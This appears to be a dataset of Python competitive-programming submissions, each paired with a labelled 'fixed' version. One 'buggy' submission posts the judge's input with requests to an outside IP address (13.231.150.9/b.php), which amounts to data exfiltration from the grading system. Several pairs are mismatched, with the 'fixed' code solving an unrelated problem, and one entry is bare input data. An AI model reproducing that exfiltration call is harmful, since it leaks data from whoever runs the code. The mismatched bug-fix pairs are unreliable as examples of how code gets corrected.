Harryxun/stf_run huggingface dataset:
n,q = map(int,input().split())

from collections import defaultdict
dic = defaultdict(list)


for _ in range(n-1):
    a,b = map(int,input().split())
    dic[a-1].append(b-1)
    dic[b-1].append(a-1)


dic2 = defaultdict(int)

for _ in range(q):
    p,x = map(int,input().split())
    dic2[p-1] += x

ansl = [0 for i in range(n)]
used = [-1 for i in range(n)]
used[0] = 1
def dfs(pos):
    for p in dic[pos]:
        if used[p] == -1:
            ansl[p] = ansl[pos] + dic2[pos]
            used[p] = 1
            dfs(p)

dfs(0)
for idx, a in enumerate(ansl):
    print(a + dic2[idx])





### FIXED CODE ###

n,q = map(int,input().split())
m = [[] for i in range(n)]
for _ in range(n-1):
   a,b = map(int,input().split())
   m[a-1].append(b-1)
   m[b-1].append(a-1)

from collections import defaultdict
dic = defaultdict(int)
for _ in range(q):
   p,x = map(int,input().split())
   dic[p-1] += x

ans = [0 for i in range(n)]
ans[0] = dic[0]

used = [0 for i in range(n)]
used[0] = 1
quu = [0]
while quu:
   k = quu.pop()
   for l in m[k]:
      if used[l] == 0:
         used[l] = 1
         quu.append(l)
         ans[l] = ans[k] + dic[l]

for i in ans:
   print(i)
N = int(input())

infos = []
first_info = []
second_info = []
for _ in range(N):
    x, y, h = map(int, input().split())
    if h > 0 and len(first_info) == 0:
        first_info = [x, y, h]
    elif h > 0 and len(second_info) == 0:
        second_info = [x, y, h]
    elif h > 0:
        infos.append([x, y, h])


# cxとcyを1つに絞り込む
x1, y1, h1 = first_info
x2, y2, h2 = second_info
kouhos = []
for cx in range(101):
    for cy in range(101):
        if h1-h2 == abs(x2-cx) + abs(y2-cy) - abs(x1-cx) - abs(y1-cy):
            kouhos.append([cx, cy])

#print(kouhos)
kouho_isvalid = [True for _ in  range(len(kouhos))]

for info in infos:
    x2, y2, h2 = info
    for i in range(len(kouhos)):
        cx, cy = kouhos[i]
        if h1-h2 != abs(x2-cx) + abs(y2-cy) - abs(x1-cx) - abs(y1-cy):
            kouho_isvalid[i] = False


for i in range(len(kouhos)):
    if kouho_isvalid[i]:
        #print(kouhos[i])
        cx, cy = kouhos[i]

H = h1 + abs(x1-cx) + abs(y1-cy)

print(cx, cy, H)


### FIXED CODE ###

N = int(input())

infos = []
first_info = []
for _ in range(N):
    x, y, h = map(int, input().split())
    if h > 0 and len(first_info) == 0:
        first_info = [x, y, h]
    else:
        infos.append([x, y, h])


# cxとcyを1つに絞り込む
x1, y1, h1 = first_info
for cx in range(101):
    for cy in range(101):
        isValid = True
        H = h1 + abs(x1-cx) + abs(y1-cy)
        for x2, y2, h2 in infos:
            if h2 != max(H - abs(x2-cx) - abs(y2-cy), 0):
                isValid = False

        if isValid:
            ans = [cx, cy]

cx, cy = ans
H = h1 + abs(x1-cx) + abs(y1-cy)
print(cx, cy, H)
#ABC64C
n = int(input())
a = list(map(int,input().split()))
c = set()
d = 0
fot i in a:
    c = a  // 400:
    if c < 8:
        b.add(c)
    else:
        d += 1:
print(len(b) len(b)+d)

### FIXED CODE ###

# ABC64C
n = int(input())
a = list(map(int,input().split()))
b = set()
d = 0
for i in a:
    c = i // 400
    if c < 8:
        b.add(c)
    else:
        d += 1
print(max(len(b),1),len(b)+d)
print("Christmas"+25-int(input())*" Eve")

### FIXED CODE ###

print("Christmas"+" Eve"*(25-int(input())))
from math import pi
r = int(input())
print('{0:0.8f} {1:0.8f}'.format(r*r*pi,2*pi*r))



### FIXED CODE ###

from math import pi
r = float(input())
print('{0:.5f} {1:.5f}'.format(r*r*pi,2*pi*r))
#from collections import deque,defaultdict
from sys import stdin
input = stdin.readline
printn = lambda x: print(x,end='')
inn = lambda : int(input())
inl   = lambda: list(map(int, input().split()))
inm   = lambda:      map(int, input().split())
ins = lambda : input().strip()
DBG = True # and False
BIG = 10**18
R = 10**9 + 7

def ddprint(x):
  if DBG:
    print(x)

from random import randint
import time

def score(t):
    last = [-1]*26
    sm = 0
    for i in range(d):
        tt = t[i]
        sm += s[i][tt]
        last[tt] = i
        for j in range(26):
            sm -= c[j]*(i-last[j])
    return sm

t1 = time.time()
d = inn()
c = inl()
s = []
for i in range(d):
    s.append(inl())
t = []
for i in range(d):
    t.append(randint(0,25))

cnt = 0
mx = 0
mxt = []
while True:
    cnt += 1
    if cnt==100:
        t2 = time.time()
        if t2>t1+1.8:
            break
        cnt = 0
    v = score(t)
    if v>mx:
        mx = v
        mxt = t
    dd = randint(0,d-1)
    while True:
        qq = randint(0,25)
        if qq!=t[dd]:
            break
    t[dd] = qq

for i in range(d):
    print(mxt[i]+1)


### FIXED CODE ###

#from collections import deque,defaultdict
from sys import stdin
input = stdin.readline
printn = lambda x: print(x,end='')
inn = lambda : int(input())
inl   = lambda: list(map(int, input().split()))
inm   = lambda:      map(int, input().split())
ins = lambda : input().strip()
DBG = True # and False
BIG = 10**18
R = 10**9 + 7

def ddprint(x):
  if DBG:
    print(x)

from random import randint
import time

def score(t):
    last = [-1]*26
    sm = 0
    for i in range(d):
        tt = t[i]
        sm += s[i][tt]
        last[tt] = i
        for j in range(26):
            sm -= c[j]*(i-last[j])
    return sm

t1 = time.time()
d = inn()
c = inl()
s = []
for i in range(d):
    s.append(inl())
t = []
for i in range(d):
    t.append(randint(0,25))

cnt = 0
mx = -BIG
mxt = []
while True:
    cnt += 1
    if cnt==100:
        t2 = time.time()
        if t2>t1+1.8:
            break
        cnt = 0
    v = score(t)
    if v>mx:
        mx = v
        mxt = t
    dd = randint(0,d-1)
    while True:
        qq = randint(0,25)
        if qq!=t[dd]:
            break
    t[dd] = qq
    #ddprint(f"{i=} {v=} {len(mxt)}")

for i in range(d):
    print(mxt[i]+1)
K = int(input())
A = list(map(int, input().split()))

M = 2
L = 2
ok = True
for i in range(K-1, 0, -1):
    a, b = A[i], A[i-1]
    nM = (M//b)*b
    if M%b != 0:
        nM += b
    if nM >= M + a:
        ok = False
        break
    
    nL = (L+a-1)//b * b
    L, M = nL, nM

if not ok:
    print(-1)
else:
    L = L + b-1
    print(M, L)

### FIXED CODE ###

K = int(input())
A = list(map(int, input().split()))


if K == 1:
    if A[0] == 2:
        print(2, 3)
    else:
        print(-1)
else:
    M = 2
    L = 2
    ok = True
    for i in range(K-1, -1, -1):
        a = A[i]
        nM = (M//a)*a
        if M%a != 0:
            nM += a
        nL = (L//a)*a + a - 1
        if nM >= M + a or nM > nL:
            ok = False
            break
        
        L, M = nL, nM
        #print(L, M, a, b)

    if not ok:
        print(-1)
    else:
        print(M, L)
import sys
import numpy as np

input = sys.stdin.readline
sys.setrecursionlimit(10 ** 7)


def main():
    N, W = map(int, input().split())
    w = [0]
    v = [0]
    for i in range(N):
        weight, value = map(int, input().split())
        w.append(weight)
        v.append(value)

    # dp = [[0] * (W + 1) for _ in range(N + 1)]
    dp = np.zeros(W + 1, dtype=np.int64)

    for i in range(1, N + 1):
        dp[w[i] :] = np.maximum(dp[w[i] :], dp[: -w[i]] + v[i])

    # print(w, v, dp)
    print(dp.max())


if __name__ == "__main__":
    main()


### FIXED CODE ###

import sys

# import numpy as np

input = sys.stdin.readline
sys.setrecursionlimit(10 ** 7)

INF = 10 ** 18


def main():
    N, W = map(int, input().split())
    w = []
    v = []
    for i in range(N):
        weight, value = map(int, input().split())
        w.append(weight)
        v.append(value)

    """    
    dp[ i ] : 価値 i における重さの最小値
    　
    品物一つ w,v を見ていくたびに、
    dp[ i ] = (その品物を使うパターン) or (その品物を使わないパターン)
    = min( dp[i -v] + w , dp[ i ] ) 
    を更新していけばよい。
    """

    dp = [0] + [INF] * 10 ** 5

    for i in range(N):
        for j in range(10 ** 5, v[i] - 1, -1):
            dp[j] = min(dp[j - v[i]] + w[i], dp[j])

    # print(dp[:30])

    ans = 0

    for i, j in enumerate(dp):
        if j <= W:
            ans = i
    print(ans)


if __name__ == "__main__":
    main()
N = int(input())
print(int(N * (N-1) // 2))

### FIXED CODE ###

S = input()
T = input()

count = 0
for i in range(3):
    if S[i] == T[i]:
        count += 1
print(count)
def gcd(a, b) -> int:
  if(a < b):
    tmp = a
    a = b
    b = tmp
  if b == 0:
    return a
  return gcd(a % b, b)

def lcm(a, b) -> int:
  g = gcd(a, b)
  return int(a * b / g)

N = int(input())
ans = int(1)
for i in range(N):
  t = int(input())
  ans = lcm(ans, t)
print(ans)

### FIXED CODE ###

def gcd(a, b) -> int:
  if(a < b):
    tmp = a
    a = b
    b = tmp
  if b == 0:
    return a
  return gcd(a % b, b)

def lcm(a, b) -> int:
  g = gcd(a, b)
  return a * (b // g)

N = int(input())
ans = int(1)
for i in range(N):
  t = int(input())
  ans = lcm(ans, t)
print(ans)
import collections
n = int(input())
a = list(map(int,input().split()))
l = []
for x in a:
  l +=[a-1,a,a+1]
c = collections.Counter(l)
print(c.most_common()[1])


### FIXED CODE ###

import collections
n = int(input())
a = list(map(int,input().split()))
l = []
for x in a:
  l +=[x-1,x,x+1]
c = collections.Counter(l)
print(c.most_common()[0][1])
3
100000000 JPY
100.00000000 BTC
0.00000001 BTC

### FIXED CODE ###

N = int(input())
x = [list(input().split()) for i in range(N)]
ans = 0
for i in range(N):
  if x[i][1] == "JPY":
    ans += int(x[i][0])
  elif x[i][1] == "BTC":
    ans += float(x[i][0]) * 380000
print(ans)
from sys import stdin
import sys
sys.setrecursionlimit(20000)
N,M,K=list(map(int,input().split()))
friend_list=[set() for _ in range(N+1)]
block_list=[set() for _ in range(N+1)]
def friend_tansaku(i,j):
    color.add(j)
    for friend in friend_list[j]:
        if friend not in color:
            if friend not in block_list[i] and friend not in candidate and friend not in friend_list[i]:
                candidate.add(friend)
                count[0]+=1
            friend_tansaku(i,friend)




for _ in range(M):
   a,b= list(map(int, input().split()))
   friend_list[a].add(b)
   friend_list[b].add(a)
for _ in range(K):
    a, b = list(map(int, input().split()))
    block_list[a].add(b)
    block_list[b].add(a)
for i in range(1,N+1):
    count=[0]
    color =set()
    candidate=set()
    friend_tansaku(i,i)
    if i==N:print(count[0])
    else:print(count[0],end=" ")

### FIXED CODE ###

from sys import stdin
import sys
import copy
sys.setrecursionlimit(200000)
N,M,K=list(map(int,input().split()))
counter=[[None,None] for i in range(N+1)]
friend_list=[set() for _ in range(N+1)]
block_list=[set() for _ in range(N+1)]
def friend_tansaku(i,j):
    color.add(j)
    cnt[0]+=1
    for friend in friend_list[j]:
        if friend not in color :
            friend_tansaku(i,friend)





for _ in range(M):
   a,b= list(map(int, input().split()))
   friend_list[a].add(b)
   friend_list[b].add(a)
for _ in range(K):
    a, b = list(map(int, input().split()))
    block_list[a].add(b)
    block_list[b].add(a)
for i in range(1,N+1):
    cnt=[0]
    color =set()
    if counter[i][0] is None:
        friend_tansaku(i,i)
        cnt=cnt[0]
        for aa in color:
            counter[aa]=[color,cnt]
    color,cnt =counter[i][0],counter[i][1]
    for k in block_list[i]:
        if k not in color:
            cnt+=1

    count=cnt-(len(friend_list[i])+len(block_list[i]))-1
    if i==N:print(count)
    else:print(count,end=" ")
a,b,h=map(int,input())
print((a+b)*h//2)


### FIXED CODE ###

a=int(input())
b=int(input())
h=int(input())
print((a+b)*h//2)
a, b = map(int, input().split())
 
tmpA = max(a, b)
tmpB = min(a, b)
 
while tmpB != 0:
    newB = tmpA % tmpB
    tmpA = tmpB
    tmpB = newB
 
tmp = tmpA

ass = []
for i in range(2,int(tmp**0.5)+1):
    while tmp % i==0:
        ass.append(i)
        tmp = tmp//i
if tmp != 1:
    ass.append(n)

print(len(set(ass)) + 1)


### FIXED CODE ###

import math

a, b = map(int, input().split())

tmpA = max(a, b)
tmpB = min(a, b)

while tmpB != 0:
    newB = tmpA % tmpB
    tmpA = tmpB
    tmpB = newB

tmp = tmpA
res = 1

for i in range(2, int(math.sqrt(tmp)) + 1):
    if tmp % i == 0:
        res += 1
        tmp //= i
    else:
        continue

    while tmp % i == 0:
        tmp = tmp//i


if tmp != 1:
    res += 1

print(res)
N,K = map(int, input().split())
S = input()

if S[K] = 'A':
  S[K] = 'a'
if S[K] = 'B':
  S[K] = 'b'
if S[K] = 'C':
  S[K] = 'c'

print(S)

### FIXED CODE ###

N,K = map(int, input().split())
S = input()
newS = ''
for i in range(N):
  if i == K-1:
    if S[i] == 'A':
      newS += 'a'
    if S[i] == 'B':
      newS += 'b'
    if S[i] == 'C':
      newS += 'c'
  else:
    newS += '{}'.format(S[i])

print(newS)
r, g, b = map(int, input().split())
x = r * 100 + g * 10 + b

if x % 4 = 0:
  print("YES")
  
else:
  print("NO")

### FIXED CODE ###

r, g, b = map(int, input().split())
x = r * 100 + g * 10 + b

if x % 4 == 0:
  print("YES")
  
else:
  print("NO")
n = int(input())
x = 2
y = 1

for i in range(n-1):
    ans = x + y
    x = y
    y = ans

print(ans)

### FIXED CODE ###

n = int(input())
x = 2
y = 1

if n == 1:
    ans = 1

for i in range(n-1):
    ans = x + y
    x = y
    y = ans

print(ans)
# -*- coding: utf-8 -*-
"""
Created on Mon Sep  7 11:05:00 2020

@author: liang
"""

"""
片側を固定して、それぞれのケースに対して最適解を求める
それぞれのケースについて
index(b_i) =< index(b_i-1)
であるから、bの最大値bestを保存して探索することで重複探索を回避できる
"""
N, M, K = map(int, input().split())

A = [0] + [int(x) for x in input().split()]
B = [0] + [int(x) for x in input().split()]

s_b = 0
for i in range(M+1):
    s_b += B[i]
    if s_b > K:
        s_b -= B[i]
        best = i - 1
        break
res = best
#print(res)
s_a = 0
for i in range(N+1):
   # print("i", i)
    s_a += A[i]
    if s_a > K:
        break
    for j in reversed(range(best+1)):
        #print("j",j)
        if s_b <= K - s_a:
            if i + j > res:
                res = i + j
            best = j
            #print(i, j, s_a, s_b)
            break
        else:
            s_b -= B[j]

### FIXED CODE ###

# -*- coding: utf-8 -*-
"""
Created on Mon Sep  7 11:05:00 2020

@author: liang
"""

"""
片側を固定して、それぞれのケースに対して最適解を求める
それぞれのケースについて
index(b_i) =< index(b_i-1)
であるから、bの最大値bestを保存して探索することで重複探索を回避できる
"""
N, M, K = map(int, input().split())

A = [0] + [int(x) for x in input().split()]
B = [0] + [int(x) for x in input().split()]

s_b = 0
for i in range(M+1):
    s_b += B[i]
    if s_b > K:
        s_b -= B[i]
        best = i - 1
        break
else:
    best = M
res = best
#print(res)
s_a = 0
for i in range(N+1):
   # print("i", i)
    s_a += A[i]
    if s_a > K:
        break
    for j in reversed(range(best+1)):
        #print("j",j)
        if s_b <= K - s_a:
            if i + j > res:
                res = i + j
            best = j
            #print(i, j, s_a, s_b)
            break
        else:
            s_b -= B[j]
        
print(res)
import sys
from collections import Counter
m = Counter(sys.stdin.readlines.lower())
for i in 'abcdefghijklmnopqrstuvwxyz':
    print(i, ":", m[i])


### FIXED CODE ###

import sys
from collections import Counter
m = Counter(sys.stdin.read().lower())
for i in 'abcdefghijklmnopqrstuvwxyz':
    print(i, ":", m[i])
=list(map(int,input().split()))
N = l[0]
X = l[1]
list_m = [int(input()) for x in range(N)]
list_m.sort()
s = sum(list_m)
r = X - s
for i in range(10**5):
	r -= list_m[0]
	if r < 0:
		lim = i 
		break
print(N + lim)

### FIXED CODE ###

l=list(map(int,input().split()))
N = l[0]
X = l[1]
list_m = [int(input()) for x in range(N)]
list_m.sort()
s = sum(list_m)
r = X - s
for i in range(10**5):
	r -= list_m[0]
	if r < 0:
		lim = i 
		break
print(N + lim)
a,b,c = map(int,input().split())

if(a = b = c):
  print("Yes")
else:
  print("No")

### FIXED CODE ###

a,b,c = map(int,input().split())

if(a == b == c):
  print("Yes")
else:
  print("No")
a,b =map(int, input().split)

if a <= 5 :
  print(0)
elif a <= 12 :
  print(int(b/2))
else :
  print(b)


### FIXED CODE ###

a,b = map(int,input().split())
 
if a <= 5 :
  print(0)
elif a <= 12 :
  print(int(b//2))
else :
  print(b)
lis = [1, 1, 1, 2, 1, 2, 1, 5, 2, 2, 1, 5, 1, 2, 1, 14, 1, 5, 1, 5, 2, 2, 1, 15, 2, 2, 5, 4, 1, 4, 1, 51]

k = int(input())

print(lis[k+1])

### FIXED CODE ###

lis1 = [0, 1, 1, 1, 2, 1, 2, 1, 5, 2, 2, 1, 5, 1, 2, 1, 14, 1, 5, 1, 5, 2, 2, 1, 15, 2, 2, 5, 4, 1, 4, 1, 51]

k = int(input())

print(lis1[k])
n, m = map(int, input().split())

I = input().split()
A = [int(s) for s in(I)]
d = 1

for i in range(m):
    b, c = map(int, input().split())
    if d == 1:
        A.sort()
        d = 0
    else:
        pass
    for j in range(b):
        if A[j] >= c:
            break
        else:
            A[j] = c
            d = 1
ans = sum(A)
print(ans)


### FIXED CODE ###

a, b = map(int, input().split())

if a <= 5:
    c = 0
elif a <= 12:
    c = int(b / 2)
else:
    c = b

print(c)
N = int(input())
K = int(input())
ans = 0
for i in range(N):
  h = int(input())
  if h >= K:
    ans += 1
    
print(ans)

### FIXED CODE ###

NK = [int(a) for a in input().split()]
h = [int(a) for a in input().split()]
ans = 0
for i in range(NK[0]):
  if h[i] >= NK[1]:
    ans += 1
    
print(ans)
def g(m,n):
    if m>n:
        m=m%n
        return g(m,n)
    elif m==0:
        return n
    elif n==0:
        return m
    else:
        n=n%m
        return g(m,n)

def h(m,n):
    return m*n//g(m,n)

A,B=map(int,input().split())

print(h(A,B))


### FIXED CODE ###

def g(m,n):
    if m==0:
        return n
    elif n==0:
        return m
    elif m>n:
        m=m%n
        return g(m,n)
    else:
        n=n%m
        return g(m,n)

def h(m,n):
    return m*n//g(m,n)

A,B=map(int,input().split())

print(h(A,B))
n = int(input())
h = list(map(int,input().split()))

for x in range(n-1):
    if h[x] <= h[x+1]:
        pass
    else:
        h[x] = h[x]-1

if n == 1:
    ans ='Yes'
for x in range(n-1):
    if h[x] <= h[x+1]:
        ans = 'Yes'
    else:
        ans = 'No'
        break
print(ans)

### FIXED CODE ###

a,b,c = map(int,(input().split()))
ans = c-(a-b)
if ans <= 0:
    ans = 0
else:
    pass
print(ans)
N = int(input())
Ts = input().split()
Ts = [int(i) for i in Ts]
Tsum = sum(Ts)
M = int(input())
res_list = []
for i in range(M):
    P,X = map(int,input().split())
    res = Tsum - Ts[i] + X
    res_list.append(res)
for i in res_list:
    print(i)

### FIXED CODE ###

N = int(input())
Ts = input().split()
Ts = [int(i) for i in Ts]
Tsum = sum(Ts)
M = int(input())
res_list = []
for i in range(M):
    P,X = map(int,input().split())
    res = Tsum - Ts[P-1] + X
    print(res)
n=int(input())
h=list(map(int,input().split()))
ans='Yes'
for i in range(n-1,0,-1):
    print(h[i])
    if h[i]>h[i-1]:
        continue
    elif h[i]+1==h[i-1]:
        h[i-1]-=1
    else:
        ans='No'
print(ans)

### FIXED CODE ###

a, b, c = map(int, input().split())
if b+c>a:
    print(b+c-a)
else:
    print(0)
n,m = map(int,input().split())
if n<m:
  n,m = m,n
if n == m:
  s = 1
  for in range(1,m+1):
    s = s*i%1000000007
  s = s*s*2%1000000007
elif n == m+1:
  s = 1
  for for in range(1,m+1):
    s = s*i%1000000007
  s = s*s*n%1000000007
else:
  s = 0
print(s)

### FIXED CODE ###

n,m = map(int,input().split())
if n<m:
  n,m = m,n
if n == m:
  s = 1
  for i in range(1,m+1):
    s = s*i%1000000007
  s = s*s*2%1000000007
elif n == m+1:
  s = 1
  for i in range(1,m+1):
    s = s*i%1000000007
  s = s*s*n%1000000007
else:
  s = 0
print(s)
import sys
sys.setrecursionlimit(100000)
def gcd(x,y):
  if y==0:
      return x
  return gcd(y,x%y)
def lcm(x,y):
    return x/gcd(x,y)*y

n = int(input())
a = list(map(int,input().split()))
LCM=a[0]
for i in a:
  LCM = lcm(LCM,i)
ans=0
for i in a:
  ans += LCM/i
  ans %= 1000000007
  
print(int(ans))


### FIXED CODE ###

import sys
import fractions
sys.setrecursionlimit(100000)
def lcm(x,y):
    return x//fractions.gcd(x,y)*y

n = int(input())
a = list(map(int,input().split()))
LCM=a[0]
for i in a:
  LCM = lcm(LCM,i)
ans=0
for i in a:
  ans += LCM//i
  
print(int(ans)%1000000007)
from sys import setrecursionlimit
setrecursionlimit(4100000)
n, m = map(int, input().split())
P = [[] for i in range(m)]   #Pass
for i in range(m):
    a, b = map(int, input().split())
    a, b = a - 1, b - 1  
    P[a].append(b)
    P[b].append(a)
#print(P)

c = 0   #cursol
R = [0 for i in range(m)]  #Record
tm = 1  #time

def all_search_dfs(c:int, tm:int, R:list):
    if R[c] == 0:
        R[c] = 1
        if  tm < n:
            return point_calculate(c, tm, R)
        elif tm == n:
            return 1
        else:
            return 0
    else:
        return 0

def point_calculate(c:int, tm:int, R:list):
    #print('c = ', c)
    p = 0
    #print('check = ', P[c])
    for i in range(len(P[c])):
        R2 = R[:]
        #print('before = ', R2)
        tmp = all_search_dfs(P[c][i], tm + 1, R2)
        #print('after = ', R2)
        #print('tmp = ', tmp)
        p += tmp
        #print('p = ', p)
    return p

print(all_search_dfs(c, tm, R))

### FIXED CODE ###

from sys import setrecursionlimit
setrecursionlimit(4100000)
n, m = map(int, input().split())
P = [[] for i in range(n)]   #Pass
for i in range(m):
    a, b = map(int, input().split())
    a, b = a - 1, b - 1  
    P[a].append(b)
    P[b].append(a)
#print(P)

c = 0   #cursol
R = [0 for i in range(n)]  #Record
tm = 1  #time

def all_search_dfs(c:int, tm:int, R:list):
    if R[c] == 0:
        R[c] = 1
        if  tm < n:
            return point_calculate(c, tm, R)
        elif tm == n:
            return 1
        else:
            return 0
    else:
        return 0

def point_calculate(c:int, tm:int, R:list):
    #print('c = ', c)
    p = 0
    #print('check = ', P[c])
    for i in range(len(P[c])):
        R2 = R[:]
        #print('before = ', R2)
        tmp = all_search_dfs(P[c][i], tm + 1, R2)
        #print('after = ', R2)
        #print('tmp = ', tmp)
        p += tmp
        #print('p = ', p)
    return p

print(all_search_dfs(c, tm, R))
[w,h,n]=list(map(int,input().split()))
risuto=[]
xmin=0
xmax=w
ymin=0
ymax=h
for i in range n:
	risuto.append(list(map(int,input().split())))
for i in range n:
	if risuto[i][2]==1 and risuto[i][0]>xmin:
		xmin=risuto[i][0]
	elif risuto[i][2]==2 and risuto[i][0]<xmax:
		xmax=risuto[i][0]
	elif risuto[i][2]==3 and risuto[i][1]>ymin:
		ymin=risuto[i][1]
	elif risuto[i][2]==4 and risuto[i][1]<ymax:
		ymax=risuto[i][1]
menseki=int((xmax-xmin)*(ymax-ymin))
print(menseki)


### FIXED CODE ###

[w,h,n]=list(map(int,input().split()))
risuto=[]
xmin=0
xmax=w
ymin=0
ymax=h
for i in range(n):
	risuto.append(list(map(int,input().split())))
for i in range(n):
	if risuto[i][2]==1 and risuto[i][0]>xmin:
		xmin=risuto[i][0]
	elif risuto[i][2]==2 and risuto[i][0]<xmax:
		xmax=risuto[i][0]
	elif risuto[i][2]==3 and risuto[i][1]>ymin:
		ymin=risuto[i][1]
	elif risuto[i][2]==4 and risuto[i][1]<ymax:
		ymax=risuto[i][1]
menseki=int((xmax-xmin)*(ymax-ymin))
if xmax<=xmin or ymax<=ymin:
	menseki=0
if menseki<0:
	menseki=0
print(menseki)
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)


### FIXED CODE ###

#alphabet="abcdefghijklmnopqrstuvwxyz"
alphabet = [chr(ord('a')+i) for i in range(26)]
S=list(set(input()))
S.sort()

for i in alphabet:
    if i not in S:
        print(i)
        exit()
print("None")
def show(nums):
    for i in range(len(nums)):
        if i !=len(nums)-1:
            print(nums[i],end=' ')
        else:
            print(nums[i])

n=int(input())
nums=list(map(int,input().split()))
show(nums)
for i in range(1,n):
    v=nums[i]
    j=i-1
    while (j>=0 and nus[j]>v):
        nums[j+1]=nums[j]
        j -= 1
    nums[j+1] = v
    shows(nums)



### FIXED CODE ###

def show(nums):
    for i in range(len(nums)):
        if i !=len(nums)-1:
            print(nums[i],end=' ')
        else:
            print(nums[i])

n=int(input())
nums=list(map(int,input().split()))
show(nums)
for i in range(1,n):
    v=nums[i]
    j=i-1
    while (j>=0 and nums[j]>v):
        nums[j+1]=nums[j]
        j -= 1
    nums[j+1] = v
    show(nums)
list = [int(i) for i in input().split()]

fee = list[0] * list[1]

print(min(fee, list[2])

### FIXED CODE ###

list = [int(i) for i in input().split()]

fee = list[0] * list[1]

print(min(fee, list[2]))